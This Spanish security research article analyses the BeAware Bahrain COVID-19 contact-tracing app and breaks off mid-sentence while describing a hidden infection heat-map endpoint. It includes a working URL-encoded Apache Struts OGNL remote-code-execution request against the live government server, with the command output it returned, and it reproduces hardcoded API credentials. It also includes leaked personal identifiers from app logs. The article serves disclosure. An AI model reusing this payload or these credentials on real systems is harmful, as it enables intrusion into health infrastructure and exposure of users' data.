Cómo comprometer dispositivos móviles a escala nacional: análisis de la aplicación de rastreo de contactos de COVID-19 BeAware Bahrain
Pruebas de seguridad móvil de la aplicación de rastreo de contactos de COVID-19 BeAware
Resumen
Este artículo es un análisis de la aplicación móvil BeAware Bahrain, tanto en iOS como en Android, con especial atención a la transparencia del proceso, la seguridad, la privacidad, las capacidades de rastreo y la accesibilidad. Este análisis es la continuación de nuestra serie de artículos sobre aplicaciones de rastreo de contactos de COVID-19 realizada en colaboración con Randorisec. Le invitamos a leer el artículo anterior para familiarizarse con la metodología y el contexto de los análisis.
El estándar de referencia
Antes de analizar cualquiera de las aplicaciones de rastreo de contactos, es necesario acordar primero un conjunto de expectativas o un estándar que estas aplicaciones deben cumplir.
Hasta donde sabemos, no existe ningún estándar establecido en ninguna parte. Mientras que algunas organizaciones hablan de privacidad, otras tratan la eficiencia del protocolo de rastreo y las garantías que ofrece, no hay ninguna especificación ni guía en la que podamos apoyarnos.
Por ello, tuvimos que redactar nuestras expectativas a partir de un conjunto de aportaciones que hemos recopilado y de nuestro mejor sentido común.
Estos requisitos son de alto nivel y son deliberadamente independientes de la implementación:
- Transparencia
- El protocolo de rastreo está documentado
- La arquitectura y el diseño de la aplicación están documentados
- La aplicación cuenta con un programa para abordar los problemas de privacidad y seguridad (Bug Bounty)
- La aplicación es de código abierto para facilitar la revisión y la evaluación por parte de la comunidad
- Privacidad
- La aplicación no recopila información de identificación personal (PII)
- La aplicación no rastrea a los usuarios ni recopila datos de ubicación
- La aplicación utiliza un conjunto limitado de permisos en el dispositivo, restringido sobre todo al descubrimiento por Bluetooth y al acceso a internet
- La aplicación ofrece a los usuarios el control de sus datos para su borrado y su uso compartido
- Seguridad
- La aplicación aplica una superficie de ataque reducida, sin anuncios, sin pagos ni funcionalidades superfluas
- La aplicación utiliza dependencias de terceros evaluadas y actualizadas
- La aplicación se comunica a través de un canal cifrado seguro
- La aplicación es segura y no filtra información de rastreo a ninguna parte
- Eficiencia del rastreo
- El protocolo de rastreo no permite rastrear a las personas
- Compartir la información de contactos es opcional (opt-in)
- El rastreo no comparte ni recopila datos de ubicación ni PII
- El rastreo no permite reconstruir los movimientos de las personas infectadas
- Las comprobaciones de rastreo no están centralizadas y las controla el usuario
- El rastreo funciona en Android y iOS incluso cuando la aplicación está en segundo plano o la pantalla está apagada
- Accesibilidad
- La aplicación está disponible en varios idiomas, incluidos los de usuarios no locales
- La aplicación puede ser utilizada por no residentes (bloqueados en el país por la prohibición de viajar)
- La aplicación es utilizable por personas con discapacidad (daltonismo, discapacidad visual, etc.)
- La aplicación es utilizable en teléfonos de gama baja (tamaño de la aplicación, consumo de batería, poco ancho de banda, etc.)
Resumen rápido (TL;DR)
Los principales hallazgos sobre la aplicación BeAware identificaron problemas críticos que afectan a la privacidad de los usuarios y a la seguridad de la infraestructura, incluidos los dispositivos de los usuarios.
La aplicación recopila la ubicación GPS de forma continua, y esta se filtró además por distintos vectores (tráfico en texto claro, registros). La seguridad de la aplicación podría llevar al compromiso del dispositivo.

| Elemento | Categoría | Severidad |
|---|---|---|
| Servidor backend desactualizado vulnerable a la ejecución remota de código | Seguridad | Alta |
| Ausencia de documentación, especificaciones y código fuente | Transparencia | Alta |
| Endpoint oculto que muestra un mapa de calor de usuarios infectados y filtra las direcciones exactas de los usuarios | Rastreo de contactos / Privacidad | Alta |
| El servidor backend puede inyectar código arbitrario en la aplicación móvil | Seguridad / Privacidad | Alta |
| Contacto de seguridad sin respuesta | Transparencia | Alta |
| La aplicación filtra información de identificación personal y la ubicación en los registros | Privacidad | Media |
| Biblioteca OpenSSL desactualizada | Seguridad | Baja |
| Credenciales y secretos incrustados en el código de la aplicación | Calidad del código / Seguridad | Baja |
| Source map de Javascript incluido en la aplicación | Calidad del código / Seguridad | Baja |
| Whitelist de Apache Cordova insegura | Seguridad | Baja |
| La aplicación recopila de forma continua información de identificación personal (número de pasaporte y número de teléfono) y la ubicación | Rastreo de contactos / Privacidad | Baja |
Análisis en profundidad: la aplicación BeAware

Transparencia
Durante nuestra investigación no encontramos ninguna documentación ni especificación sobre la aplicación. El código fuente no está disponible públicamente, aunque pudo recuperarse parcialmente de la aplicación debido a una configuración incorrecta.
Seguridad
La aplicación móvil BeAware utiliza el framework multiplataforma Ionic, Typescript y Angular. La postura de seguridad de la aplicación móvil adolece de varios problemas que pueden conducir al compromiso total de los servidores backend y aprovecharse para comprometer el teléfono móvil.
Comunicación de red
La aplicación se comunica a través de TLS y realiza una validación de certificados adecuada, salvo en algunos endpoints que
se comunican en texto claro; véase el extracto de código fuente a continuación. En la mayoría de los casos, el endpoint dará lugar a una redirección a HTTPS o activará
HTTP Strict Transport Security (HSTS) para maps.google.com.
this.serviceProvider.gaTrackEvent("AppointmentPage", "Location");
if (userlocation == null) {
mapUrl = "http://maps.google.com?q=" + item.location.lat + "," + item.location.lon;
} else {
mapUrl = "http://maps.google.com/maps?daddr=" + item.location.lat + "," + item.location.lon + "&saddr=" + userlocation.coords.latitude + "," + userlocation.coords.longitude;
}
Credenciales y secretos incrustados en el código
La comunicación con varios endpoints de la API utiliza credenciales incrustadas en el código enviadas como encabezado de autorización HTTP Basic. La API no implementa ningún sistema de gestión de sesiones y envía continuamente el número de teléfono, el identificador personal y el dispositivo para identificar al usuario.
this.commonUrl = "https://apps.bahrain.bh/eGACommonService/services/secure/cs/";
this.corUrl = "https://apps.bahrain.bh/corona-tracking-client-api/";
this.headers = new __WEBPACK_IMPORTED_MODULE_2__angular_http__["a" /* Headers */]({
'Content-Type': 'application/json',
'appname': 'BCT',
'platform': this.platform.is('ios') ? 'ios' : 'android',
'language': this.translate.getDefaultLang() == "en" ? "English" : "Arabic",
'Accept-Language': this.translate.getDefaultLang(),
});
this.common = 'Basic T0NUX0lPUzpUQ09AMzRXMDEwI0lDUw==';
this.cor = 'Basic VEFXX0lPUzpUQVdAMjNKMTYwI1RBVw==';
Dependencias de terceros
La aplicación utiliza varias dependencias de Cordova; estas dependencias se identificaron a partir del archivo cordova_plugins.js.
module.exports.metadata =
// TOP OF METADATA
{
"cordova-plugin-background-fetch": "6.0.3",
"cordova-background-geolocation": "3.6.0",
"cordova-plugin-network-information": "2.0.2",
"cordova-plugin-device": "2.0.2",
"cordova-plugin-inappbrowser": "3.2.0",
"cordova-plugin-ionic-keyboard": "2.0.5",
"cordova-support-android-plugin": "1.0.1",
"cordova-support-google-services": "1.2.1",
"cordova-plugin-firebase-messaging": "1.2.1",
"cordova-plugin-firebase-analytics": "1.1.1",
"cordova-plugin-app-version": "0.1.9",
"es6-promise-plugin": "4.2.2",
"cordova-plugin-x-socialsharing": "5.6.4",
"cordova-plugin-whitelist": "1.3.3",
"cordova-plugin-statusbar": "2.4.2",
"cordova-plugin-splashscreen": "5.0.2",
"cordova-plugin-ionic-webview": "4.0.0",
"cordova.plugins.diagnostic": "5.0.1",
"cordova-plugin-camera-with-exif": "1.3.1",
"cordova-plugin-file": "6.0.2",
"com.unarin.cordova.beacon": "3.8.1",
"cordova-plugin-badge": "0.8.8",
"cordova-plugin-local-notification": "0.9.0-beta.2",
"cordova-open-native-settings": "1.5.2",
"cordova-plugin-calendar": "5.1.5",
"cordova-plugin-hms-location": "1.0.0"
};
// BOTTOM OF METADATA
});
Los plugins de Cordova no tienen el mejor historial a la hora de notificar las vulnerabilidades corregidas; véase por ejemplo
https://www.npmjs.com/package/cordova-plugin-advanced-http que corrigió una vulnerabilidad en la validación de certificados
TLS/SSL en la versión 2.0.7 pero sin notificar ningún CVE.
Sin embargo, el servidor backend informa de una versión desactualizada de OpenSSL:
HTTP/1.1 200
Content-Type: application/json
Content-Length: 221
Connection: close
Date: Sat, 13 Jun 2020 21:34:49 GMT
Server: Apache/2.4.43 (Amazon) OpenSSL/1.0.2k-fips
Access-Control-Allow-Origin: http://localhost
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
Access-Control-Max-Age: 601
Access-Control-Allow-Headers: Authorization, appname, language, Content-Type, platform, Accept, X-Login-Ajax-call, JSESSIONID, Accept-Language, X-Authorization
Access-Control-Expose-Headers: JSESSIONID
Vary: Accept-Encoding
X-Cache: Miss from cloudfront
Via: 1.1 8455bcb2c0203b0c4ee93b610d75e69b.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: ZRH50-C1
X-Amz-Cf-Id: 7uLTx5gMknzyi-9W3HahufU5A_u94et3ZOcAq6Ty9FiPZFD3uWs8ig==
{"statusMessageEN":"App update Subscription was successful. count: 0. unsubscribeCount: 0","statusMessageAR":"App update Subscription was successful. count: 0. unsubscribeCount: 0","appRegisterID":null,"statusCode":"200"}
Todas las vulnerabilidades conocidas son de bajo impacto o no se pueden explotar de forma remota.
Backend
Durante nuestra investigación identificamos que el servidor backend utiliza una versión desactualizada de Apache Struts vulnerable a la ejecución remota de código (CVE-2013-2135), véanse a continuación los detalles completos de la solicitud y la respuesta.
GET /CMSWebApplication/?redirect:%25%7b%28%23%5f%3d%27%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%27%29%2e%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%63%6d%64%3d%27%6c%73%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%72%6f%73%3d%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%63%6f%70%79%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%72%6f%73%29%29%2e%28%23%72%6f%73%2e%66%6c%75%73%68%28%29%29%7d HTTP/2
Host: apps.bahrain.bh
User-Agent: curl/7.65.3
Accept: */*
HTTP/2 200
date: Mon, 15 Jun 2020 10:26:13 GMT
server: Apache/2.4.43 (Amazon) OpenSSL/1.0.2k-fips
set-cookie: JSESSIONID=04419697E535A1149042AEBFB1E9B02D; Path=[REDACTED]; Secure; HttpOnly
x-cache: Miss from cloudfront
via: 1.1 aa787b163703f7d10f3853a5942eae76.cloudfront.net (CloudFront)
x-amz-cf-pop: YTO50-C2
x-amz-cf-id: G31YvcT9NzY9oZS7W_4dhziwZRl-DJZWgHxAjHnUNCFwKVtQcwgQew==
bin
conf
lib
logs
temp
webapps
work
* Connection #0 to host apps.bahrain.bh left intact
La causa raíz común de estos problemas es que la biblioteca struts está integrada en los archivos jar/war. Las prácticas habituales de actualizar los paquetes del sistema operativo sin recompilar la aplicación no bastan para corregir este problema.
La aplicación móvil obtiene varios datos del servidor; los parámetros desEn y desAr son entrada HTML inyectada directamente en la aplicación mediante innerHTML; véanse a continuación la respuesta y un ejemplo del código fuente de la plantilla:
HTTP/1.1 200
Content-Type: application/json
Connection: close
Date: Sat, 13 Jun 2020 21:36:45 GMT
Server: Apache/2.4.43 (Amazon) OpenSSL/1.0.2k-fips
Access-Control-Allow-Origin: http://localhost
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
Access-Control-Max-Age: 601
Access-Control-Allow-Headers: Authorization, appname, language, Content-Type, platform, Accept, X-Login-Ajax-call, JSESSIONID, Accept-Language, X-Authorization
Access-Control-Expose-Headers: JSESSIONID
Vary: Accept-Encoding
X-Cache: Miss from cloudfront
Via: 1.1 08c5e904e2f0226b2d9c1417f32b12f2.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: ZRH50-C1
X-Amz-Cf-Id: MrFRytnry9kNIIsBvSLtXmaxZ_v-qvMNyDmcz5j_KZT-T36dRTKluA==
Content-Length: 59500
{"appStoreList":[{"code":"MYS","nameAr":"eشباب","nameEn":"eShabab","ownerAr":"وزارة شئون الشباب والرياضة","ownerEn":"Ministry of Youth and Sports Affairs (MYS)","descAr":"<p>يوفر هذا التطبيق مجموعة من الخدمات التي تستهدف فئة الشباب، حيث بإمكانهم الاستفادة مما يلي:</p>\r\n<ul>\r\n\t<li>خدمة "يلا نسجل"، حيث تتيح إمكانية:\r\n\t\t<ol>\r\n\t\t\t<li>تسجيل وتحديث الملف الشخصي.</li>\r\n\t\t\t<li>البحث والتسجيل في البرامج الشبابية</li>\r\n\t\t\t<li>عرض قائمة البرامج المسجلة</li>\r\n\t\t\t<li>التسجيل لامتحان التقييم والاستعلام عن حالة الامتحان</li>\r\n\t\t\t<li>إضافة أفراد العائلة (أبناء أو أشقاء) مع إمكانية تسجيلهم في البرامج</li>\r\n\t\t\t<li>التسجيل للحصول على إخطارات في حال توفر مقاعد شاغرة للبرامج مكتملة التسجيل.</li>\r\n\t\t</ol>\r\n\t</li>\r\n\t<li>خدمة "سواعد"، حيث تتيح إمكانية تقيم طلب التطوع لوزارة شؤون الشباب والرياضة.</li>\r\n\t<li>عرض قائمة الفعاليات التي تنظمها وزارة شؤون الشباب والرياضة مع إمكانية التسجيل، إضافة الفعالية إلى التقويم، ومشاركة تفاصيلها عبر تطبيقات التواصل الاجتماعي.</li>\r\n\t<li>مواقعنا: خدمة تعتمد على الخريطة لعرض تفاصيل جميع المراكز الشبابية والأندية الرياضة المتواجدة في مملكة البحرين.</li>\r\n\t<li>توفير الإشعارات والإخطارات المرسلة من قبل الوزارة عبر التطبيق</li>\r\n</ul>","descEn":"<p>This app provides a collection of services targeting the Youth, where they can benefit from the following:</p>\r\n<ul>\r\n\t<li>"Let's Register" service, where it provides the ability to:\r\n\t\t<ol>\r\n\t\t\t<li>Create and update the user profile.</li>\r\n\t\t\t<li>Search and register for youth programs.</li>\r\n\t\t\t<li>View the list of registered programs.</li>\r\n\t\t\t<li>Register for assessment exams and enquire about the status.</li>\r\n\t\t\t<li>Add Family members (Children or Siblings) with the ability to register them for programs.</li>\r\n\t\t\t<li>Request to be notified when seats are available for fully booked programs.</li>\r\n\t\t</ol>\r\n\t</li>\r\n\t<li>"Sawaed" service, where users can submit a volunteering request to Ministry of Youth and Sport Affairs (MYS).</li>\r\n\t<li>View the list of events provided by Ministry of Youth and Sport Affairs (MYS) with the ability to register, add it to the calendar, and share the event details through social media.</li>\r\n\t<li>MYS Locator: A map-based service that provides the list of youth centers and sport clubs across the Kingdom of Bahrain and the details for each center or club.</li>\r\n\t<li>Receive notifications sent by the ministry.</li>\r\n</ul>","rating":3.27,"screenshots":["https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_1.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_2.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_3.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_4.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_5.png"],"ratingCount":24,"linkAr":"https://eshabab.page.link/ar","linkEn":"https://eshabab.page.link/en","aboutAr":"\n<p>يتيح هذا التطبيق مجموعة من الخدمات بالتعاون مع الجهات التالية:</p>\n<ul>\n <li>هيئة المعلومات والحكومة الإلكترونية</li>\n <li>وزارة شؤون الشباب والرياضة</li>\n</ul>\n<p>يهدف التطبيق إلى عرض الفعاليات والبرامج المتاحة للشباب وتسهيل عملية التسجيل فيها، إلى جانب إمكانية تقديم طلب للعمل التطوعي.\n</p>\n","aboutEn":"\n<p>This application provides a group of services in collaboration with the following entities:</p>\n<ul>\n <li>Information and eGovernment Authority (iGA)</li>\n <li>Ministry of Youth and Sport Affairs (MYS)</li>\n</ul>\n<p>It aims to introduce the list of events and programs provided for the youth easing the registration process, along with the ability to submit a volunteering request.\n</p>\n","icon":"https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_logo.png","order":70,"status":"STABLE"},
Object(__WEBPACK_IMPORTED_MODULE_1__angular_core__["Component"])({
selector: 'page-our-apps-details',template:/*ion-inline-start:"D:\angular-2\corona19\corona-tracking-app\src\pages\our-apps-details\our-apps-details.html"*/'<ion-header>\n\n <ion-navbar no-border-bottom color="light">\n\n <button ion-button menuToggle>\n\n <ion-icon name="menu"></ion-icon>\n\n </button>\n\n <ion-title text-center>{ { translate.getDefaultLang() == \'ar\' ? app?.nameAr : app?.nameEn} }</ion-title>\n\n <ion-buttons end>\n\n <button ion-button icon-only (click)="socialMediaShare()">\n\n <ion-icon name="md-share"></ion-icon>\n\n </button>\n\n </ion-buttons>\n\n </ion-navbar>\n\n</ion-header>\n\n\n\n<ion-content>\n\n <div class="whiteBg">\n\n <ion-grid class="appInfo ">\n\n <ion-row>\n\n <ion-col col-5>\n\n <img class="icon" [src]="app?.icon" />\n\n </ion-col>\n\n <ion-col col-7>\n\n <h3 class="name">{ {translate.getDefaultLang() == \'ar\' ? app?.nameAr : app?.nameEn} }</h3>\n\n <div class="author">{ {translate.getDefaultLang() == \'ar\' ? app?.ownerAr : app?.ownerEn} }</div>\n\n <button ion-button round color="primary"\n\n (click)="openURL(translate.getDefaultLang() == \'ar\' ? app.linkAr : app.linkEn)">{ {\'OURAPPSDETAILS.PREVIEW\'\n\n | translate} }\n\n </button>\n\n </ion-col>\n\n </ion-row>\n\n <ion-row>\n\n <ion-col>\n\n <div class="rate-star">\n\n <span>{ {app?.rating | number : \'1.1-1\'} }</span>\n\n <ion-icon *ngFor="let star of stars" [name]="star" class="stars"></ion-icon>\n\n </div>\n\n <p class="rate-counter">{ {app?.ratingCount} } { {\'OURAPPSDETAILS.RATINGS\' | translate} }</p>\n\n </ion-col>\n\n </ion-row>\n\n </ion-grid>\n\n <hr>\n\n <div class="description" padding>\n\n <h2 class="title">{ {\'OURAPPSDETAILS.DESCRIPTION\' | translate} }</h2>\n\n <div class="details" [innerHTML]="translate.getDefaultLang() == \'ar\' ? app?.descAr : app?.descEn">
Una vez que un atacante compromete el servidor backend, es posible envenenar las respuestas del servidor inyectando una puerta trasera de javascript para comprometer los dispositivos móviles.
Existen numerosas técnicas para lograr persistencia después, aprovechando service workers o el acceso de escritura a la caché de la aplicación.
Por razones obvias, ninguno de estos ataques se probó y se detectan a partir del análisis del tráfico de red y del análisis estático.
Encadenar estas vulnerabilidades puede llevar a comprometer cientos de miles de dispositivos debido a los permisos excesivos de la aplicación.
Código fuente
El código fuente de la aplicación se filtra mediante .js.map.
{
"version": 3,
"sources": [
"../../src/pipes/language/language.ts",
"../../src/pages/leave-permistions/leave-permistions.ts",
"../../src/pages/leave-permission-change/leave-permission-change.ts",
"../../src/pages/self-requests/self-requests.ts",
"../../src/pages/registration-photo/registration-photo.ts",
"../../node_modules/@angular/core/esm5 lazy",
"../../src/pages/symtoms-report-pop-up/symtoms-report-pop-up.ts",
"../../src lazy",
"../../src/pages/symtoms-report/symtoms-report.ts",
"../../src/pages/gmap/gmap.ts",
"../../src/pages/dispute/dispute.ts",
"../../src/pages/appointment/appointment.ts",
"../../src/pages/appointment-confirm/appointment-confirm.ts",
"../../src/pages/change-mobile/change-mobile.ts",
"../../src/pages/decisions/decisions.ts",
"../../src/pages/notification-details/notification-details.ts",
"../../src/pages/registration/registration.ts",
"../../src/pages/test-results/test-results.ts",
"../../src/pages/test-results-details/test-results-details.ts",
"../../src/pages/self-upload/self-upload.ts",
"../../src/pages/popup-status/popup-status.ts",
"../../src/pages/leave-permistions-modal/leave-permistions-modal.ts",
"../../src/pages/leave-permistions-request/leave-permistions-request.ts",
...
"names": [],
"mappings": ";;;;;;;;;;;;;;;;;;AAAoD;AACG;AAKvD;IACE,sBAAoB,SAA2B;QAA3B,cAAS,GAAT,SAAS,CAAkB;IAAI,CAAC;IAEpD,gCAAS,GAAT,UAAU,KAAa;QAErB,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC;IAC3C,CAAC;IAED,+BAAQ,GAAR,UAAS,KAAK;QACZ,IAAM,IAAI,GA
...
"file": "main.js",
"sourcesContent": [
"import { Pipe, PipeTransform } from '@angular/core';\r\nimport { TranslateService } from '@ngx-translate/core';\r\n\
Los source maps pueden usarse fácilmente para recrear el código fuente original con las siguientes 8 líneas de código:
import json
from pathlib import Path
j = json.load(open('main.js.map', 'r'))
names = j['sources']
contents = j['sourcesContent']
for n, c in zip(names, contents):
Path(n).parent.mkdir(parents=True, exist_ok=True)
open(n, '+w').write(c)
Whitelist de Cordova insegura
La whitelist de Cordova gestiona el acceso de seguridad de red y debe autorizar explícitamente solo los recursos accesibles. Sin embargo, la whitelist de BeAware permite el acceso sin restricciones a todos los recursos
Url whitelisted: *
Privacidad y rastreo de contactos
Permisos
La aplicación solicita una gran cantidad de permisos, aunque varios no los utiliza la aplicación. El rastreo de contactos por Bluetooth, por ejemplo, no está plenamente implementado y no es operativo en la aplicación, pero se solicita entre los permisos de la aplicación.
Los permisos solicitados incluyen acceso a la red, GPS, Bluetooth, contactos y almacenamiento externo.
A continuación se muestra la lista de todos los permisos en Android:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.BLUETOOTH" android:required="false"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.READ_CALENDAR"/>
<uses-permission android:name="android.permission.WRITE_CALENDAR"/>
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN" android:required="false"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACTIVITY_RECOGNITION"/>
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="com.google.android.gms.permission.ACTIVITY_RECOGNITION"/>
<uses-permission android:name="oppo.permission.OPPO_COMPONENT_SAFE"/>
<uses-permission android:name="com.huawei.permission.external_app_settings.USE_COMPONENT"/>
<uses-feature android:name="android.hardware.location.gps" android:required="false"/>
<uses-permission android:name="com.sec.android.provider.badge.permission.READ"/>
<uses-permission android:name="com.sec.android.provider.badge.permission.WRITE"/>
<uses-permission android:name="com.htc.launcher.permission.READ_SETTINGS"/>
<uses-permission android:name="com.htc.launcher.permission.UPDATE_SHORTCUT"/>
<uses-permission android:name="com.sonyericsson.home.permission.BROADCAST_BADGE"/>
<uses-permission android:name="com.sonymobile.home.permission.PROVIDER_INSERT_BADGE"/>
<uses-permission android:name="com.anddoes.launcher.permission.UPDATE_COUNT"/>
<uses-permission android:name="com.majeur.launcher.permission.UPDATE_BADGE"/>
<uses-permission android:name="com.huawei.android.launcher.permission.CHANGE_BADGE"/>
<uses-permission android:name="com.huawei.android.launcher.permission.READ_SETTINGS"/>
<uses-permission android:name="com.huawei.android.launcher.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.READ_APP_BADGE"/>
<uses-permission android:name="com.oppo.launcher.permission.READ_SETTINGS"/>
<uses-permission android:name="com.oppo.launcher.permission.WRITE_SETTINGS"/>
<uses-permission android:name="me.everything.badger.permission.BADGE_COUNT_READ"/>
<uses-permission android:name="me.everything.badger.permission.BADGE_COUNT_WRITE"/>
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
<uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/>
Y esta es la lista de permisos necesarios en iOS:
<key>NSMicrophoneUsageDescription</key>
<string>This app requires microphone access to function properly.</string>
<key>NSMotionUsageDescription</key>
<string>Device motion updates help determine when the device is stationary so the app can save power by turning off location-updates</string>
<key>NSCalendarsUsageDescription</key>
<string>Calendar permission is required for adding corona test appointments</string>
<key>NSRemindersUsageDescription</key>
<string>This app requires reminders access to function properly.</string>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Background location tracking is required for our app so we can track your location for corona affected places</string>
<key>NSLocationAlwaysAndWhenInUseUsageDescription</key>
<string>Background location tracking is required for our app so we can track your location for corona affected places</string>
<key>NSPhotoLibraryUsageDescription</key>
<string>This app requires photo library access to function properly.</string>
<key>NSPhotoLibraryAddUsageDescription</key>
<string>This app requires photo library access to function properly.</string>
<key>NSContactsUsageDescription</key>
<string>This app requires contacts access to function properly.</string>
<key>NSLocationAlwaysUsageDescription</key>
<string>Background location tracking is required for our app so we can track your location for corona affected places</string>
<key>NSCameraUsageDescription</key>
<string>Camera access is required for quarantine photo uploads or to attach medical certificate</string>
<key>NSBluetoothAlwaysUsageDescription</key>
<string>Bluetooth permission is required for Home quarantined users to detect wristband</string>
<key>NSBluetoothPeripheralUsageDescription</key>
<string>This app would like to scan for iBeacons.</string>
Registros
La aplicación registra cantidades masivas de datos, incluidos PII e información de rastreo, como el identificador del dispositivo, el identificador de documento oficial, como el pasaporte, el número de teléfono, etc.
Véase el extracto que filtra las coordenadas GPS:
06-14 12:31:37.637 19337 19337 D TSLocationManager: ╔═════════════════════════════════════════════
06-14 12:31:37.637 19337 19337 D TSLocationManager: ║ TrackingService: LocationResult
06-14 12:31:37.637 19337 19337 D TSLocationManager: ╠═════════════════════════════════════════════
06-14 12:31:37.637 19337 19337 D TSLocationManager: ╟─ 📍 Location[fused 26.233880,50.577910 hAcc=20 et=+13h12m43s511ms vel=9.174615 bear=90.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{}]}], age: 264ms, time: 1592130712000
06-14 12:31:37.637 19337 19337 I TSLocationManager: [c.t.l.service.TrackingService a]
06-14 12:31:37.637 19337 19337 I TSLocationManager: ℹ️ Distance from stoppedAtLocation: -40.0
06-14 12:31:37.637 19337 21391 D TSLocationManager: [c.t.l.l.TSLocationManager onLocationResult]
Véase el extracto de registros que filtra la información del usuario en los registros (pasaporte, número de teléfono, identificador del dispositivo):
06-14 11:02:46.654 19337 19425 I TSLocationManager: "params": {
06-14 11:02:46.654 19337 19425 I TSLocationManager: "userDevice": {
06-14 11:02:46.654 19337 19425 I TSLocationManager: "userType": "passport",
06-14 11:02:46.654 19337 19425 I TSLocationManager: "userId": "CN1586236",
06-14 11:02:46.654 19337 19425 I TSLocationManager: "deviceId": "befd3b10cbf11a2d",
06-14 11:02:46.654 19337 19425 I TSLocationManager: "mobileNumber": "+336123123123"
06-14 11:02:46.654 19337 19425 I TSLocationManager: }
06-14 11:02:46.654 19337 19425 I TSLocationManager: },
Funcionalidades ocultas
Se pueden identificar en la aplicación funcionalidades ocultas pero accesibles. Un endpoint de API específico permite obtener un mapa de calor de infecciones. El mapa de calor es tan preciso que muestra la dirección exacta de las personas infectadas. La siguiente es la solicitud de ejemplo para obtener el mapa de calor:
